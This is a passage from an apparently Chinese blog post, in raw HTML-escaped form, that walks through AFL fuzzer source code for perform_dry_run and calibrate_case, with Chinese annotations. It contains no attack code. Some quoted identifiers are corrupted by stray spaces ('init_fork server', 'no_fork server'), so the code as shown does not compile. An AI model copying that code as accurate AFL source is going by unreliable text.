open(q-&amp;gt;fname, O_RDONLY);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (fd &amp;lt; 0) PFATAL(&quot;Unable to open &#x27;%s&#x27;&quot;, q-&amp;gt;fname);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   use_mem = ck_alloc_nozero(q-&amp;gt;len);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (read(fd, use_mem, q-&amp;gt;len) != q-&amp;gt;len)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      FATAL(&quot;Short read from &#x27;%s&#x27;&quot;, q-&amp;gt;fname); &#x2F;&#x2F; 打开q-&amp;gt;fname，读取到分配的内存中&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    close(fd);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    res = calibrate_case(argv, q, use_mem, 0, 1); &#x2F;&#x2F; 调用函数calibrate_case校准测试用例&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ck_free(use_mem);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (stop_soon) return;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if (res == crash_mode || res == FAULT_NOBITS)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     SAYF(cGRA &quot;    len = %u, map size = %u, exec speed = %llu us\n&quot; cRST,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;           q-&amp;gt;len, q-&amp;gt;bitmap_size, q-&amp;gt;exec_us);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    switch (res) { &#x2F;&#x2F; 判断res的值&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      case FAULT_NONE:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (q == queue) check_map_coverage(); &#x2F;&#x2F; 如果为头结点，调用check_map_coverage评估覆盖率&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (crash_mode) FATAL(&quot;Test case &#x27;%s&#x27; does *NOT* crash&quot;, fn); &#x2F;&#x2F; 抛出异常&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      case FAULT_TMOUT:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (timeout_given) { &#x2F;&#x2F; 指定了 -t 选项&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          &#x2F;* The -t nn+ syntax in the command line sets timeout_given to &#x27;2&#x27; and&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             instructs afl-fuzz to tolerate but skip queue entries that time&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             out. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          if (timeout_given &amp;gt; 1) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            WARNF(&quot;Test case results in a timeout (skipping)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            q-&amp;gt;cal_failed = CAL_CHANCES;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            cal_failures++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          SAYF(... ...);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          FATAL(&quot;Test case &#x27;%s&#x27; results in a timeout&quot;, fn);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          SAYF(... ...);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          FATAL(&quot;Test case &#x27;%s&#x27; results in a timeout&quot;, fn);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    case FAULT_CRASH:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       if (crash_mode) break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (skip_crashes) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          WARNF(&quot;Test case results in a crash (skipping)&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          q-&amp;gt;cal_failed = CAL_CHANCES;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          cal_failures++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (mem_limit) { &#x2F;&#x2F; 建议增加内存&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          SAYF(... ...);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          SAYF(... ...);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        FATAL(&quot;Test case &#x27;%s&#x27; results in a crash&quot;, fn);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      case FAULT_ERROR:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        FATAL(&quot;Unable to execute target application (&#x27;%s&#x27;)&quot;, argv[0]);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      case FAULT_NOINST: &#x2F;&#x2F; 测试用例运行没有路径信息&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        FATAL(&quot;No instrumentation detected&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      case FAULT_NOBITS:  &#x2F;&#x2F; 没有出现新路径，判定为无效路径&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        useless_at_start++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if (!in_bitmap &amp;amp;&amp;amp; !shuffle_queue)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          WARNF(&quot;No new instrumentation output, test case may be useless.&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        break;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (q-&amp;gt;var_behavior) WARNF(&quot;Instrumentation output varies across runs.&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q = q-&amp;gt;next; &#x2F;&#x2F; 读取下一个queue&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (cal_failures) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (cal_failures == queued_paths)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      FATAL(&quot;All test cases time out%s, giving up!&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            skip_crashes ? &quot; or crash&quot; : &quot;&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    WARNF(&quot;Skipped %u test cases (%0.02f%%) due to timeouts%s.&quot;, cal_failures,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          ((double)cal_failures) * 100 &#x2F; queued_paths,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          skip_crashes ? &quot; or crashes&quot; : &quot;&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (cal_failures * 5 &amp;gt; queued_paths)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      WARNF(cLRD &quot;High percentage of rejected test cases, check settings!&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  OKF(&quot;All test cases processed.&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;总结以上流程：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;进入 &lt;code&gt;while&lt;&#x2F;code&gt; 循环，遍历 &lt;code&gt;input&lt;&#x2F;code&gt; 队列，从队列中取出 &lt;code&gt;q-&amp;gt;fname&lt;&#x2F;code&gt;，读取文件内容到分配的内存中，然后关闭文件；&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;calibrate_case&lt;&#x2F;code&gt; 函数校准该测试用例；&lt;&#x2F;li&gt;
&lt;li&gt;根据校准的返回值 &lt;code&gt;res&lt;&#x2F;code&gt; ，判断错误类型；&lt;&#x2F;li&gt;
&lt;li&gt;打印错误信息，退出。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;该函数同样为AFL的一个关键函数，用于新测试用例的校准，在处理输入目录时执行，以便在早期就发现有问题的测试用例，并且在发现新路径时，评估新发现的测试用例的是否可变。该函数在 &lt;code&gt;perform_dry_run&lt;&#x2F;code&gt;，&lt;code&gt;save_if_interesting&lt;&#x2F;code&gt;，&lt;code&gt;fuzz_one&lt;&#x2F;code&gt;，&lt;code&gt;pilot_fuzzing&lt;&#x2F;code&gt;，&lt;code&gt;core_fuzzing&lt;&#x2F;code&gt;函数中均有调用。该函数主要用途是初始化并启动fork server，多次运行测试用例，并用 &lt;code&gt;update_bitmap_score&lt;&#x2F;code&gt; 进行初始的byte排序。&lt;&#x2F;p&gt;
&lt;p&gt;函数控制流程图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-forkserver-control-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210907204007.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结合源码进行解读如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;  1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 68&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 69&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 70&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 71&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 72&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 73&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 74&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 75&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 76&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 77&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 78&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 79&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 80&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 81&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 82&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 83&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 84&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 85&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 86&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 87&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 88&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 89&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 90&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 91&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 92&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 93&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 94&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 95&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 96&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 97&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 98&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 99&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;100&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;101&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;102&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;103&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;104&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;105&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;106&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;107&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;108&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;109&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;110&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;111&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;112&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;113&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;114&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;115&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;116&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;117&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;118&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;119&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;120&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;121&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;122&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;123&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;124&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;125&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;126&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;127&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;128&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;129&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;130&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;131&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;132&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;133&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;134&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;135&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;136&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;137&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;138&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;139&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;140&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;141&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;142&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;143&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;144&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;145&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;146&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;147&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;148&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;149&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;150&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;151&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;152&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;153&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;154&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;155&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;156&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;157&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;158&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;159&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Calibrate a new test case. This is done when processing the input directory&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   to warn about flaky or otherwise problematic test cases early on; and when&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   new paths are discovered to detect variable behavior and so on. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static u8 calibrate_case(char** argv, struct queue_entry* q, u8* use_mem,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                         u32 handicap, u8 from_queue) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  static u8 first_trace[MAP_SIZE]; &#x2F;&#x2F; 创建 firts_trace[MAP_SIZE]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8  fault = 0, new_bits = 0, var_detected = 0, hnb = 0,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      first_run = (q-&amp;gt;exec_cksum == 0); &#x2F;&#x2F; 获取执行追踪结果，判断case是否为第一次运行，若为0则表示第一次运行，来自input文件夹&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u64 start_us, stop_us;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  s32 old_sc = stage_cur, old_sm = stage_max;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 use_tmout = exec_tmout;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* old_sn = stage_name; &#x2F;&#x2F; 保存原有 stage_cur, stage_max, stage_name&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Be a bit more generous about timeouts when resuming sessions, or when&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     trying to calibrate already-added finds. This helps avoid trouble due&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     to intermittent latency. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; if (!from_queue || resuming_fuzz)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; 如果from_queue为0（表示case不是来自queue）或者resuming_fuzz为1（表示处于resuming sessions）&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    use_tmout = MAX(exec_tmout + CAL_TMOUT_ADD,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                    exec_tmout * CAL_TMOUT_PERC &#x2F; 100); &#x2F;&#x2F; 提升 use_tmout 的值&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;cal_failed++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  stage_name = &quot;calibration&quot;; &#x2F;&#x2F; 设置 stage_name&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  stage_max  = fast_cal ? 3 : CAL_CYCLES; &#x2F;&#x2F; 设置 stage_max，新测试用例的校准周期数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Make sure the fork server is up before we do anything, and let&#x27;s not&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     count its spin-up time toward binary calibration. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (dumb_mode != 1 &amp;amp;&amp;amp; !no_fork server &amp;amp;&amp;amp; !forksrv_pid)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    init_fork server(argv); &#x2F;&#x2F; 没有运行在dumb_mode，没有禁用fork server，切forksrv_pid为0时，启动fork server&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (q-&amp;gt;exec_cksum) { &#x2F;&#x2F; 判断是否为新case（如果这个queue不是来自input文件夹）&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    memcpy(first_trace, trace_bits, MAP_SIZE);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   hnb = has_new_bits(virgin_bits);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (hnb &amp;gt; new_bits) new_bits = hnb;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  start_us = get_cur_time_us();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  for (stage_cur = 0; stage_cur &amp;lt; stage_max; stage_cur++) { &#x2F;&#x2F; 开始执行 calibration stage，总计执行 stage_max 轮&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u32 cksum;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (!first_run &amp;amp;&amp;amp; !(stage_cur % stats_update_freq)) show_stats(); &#x2F;&#x2F; queue不是来自input，第一轮calibration stage执行结束，刷新一次展示界面&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    write_to_testcase(use_mem, q-&amp;gt;len);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fault = run_target(argv, use_tmout);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* stop_soon is set by the handler for Ctrl+C. When it&#x27;s pressed,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       we want to bail out quickly. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if 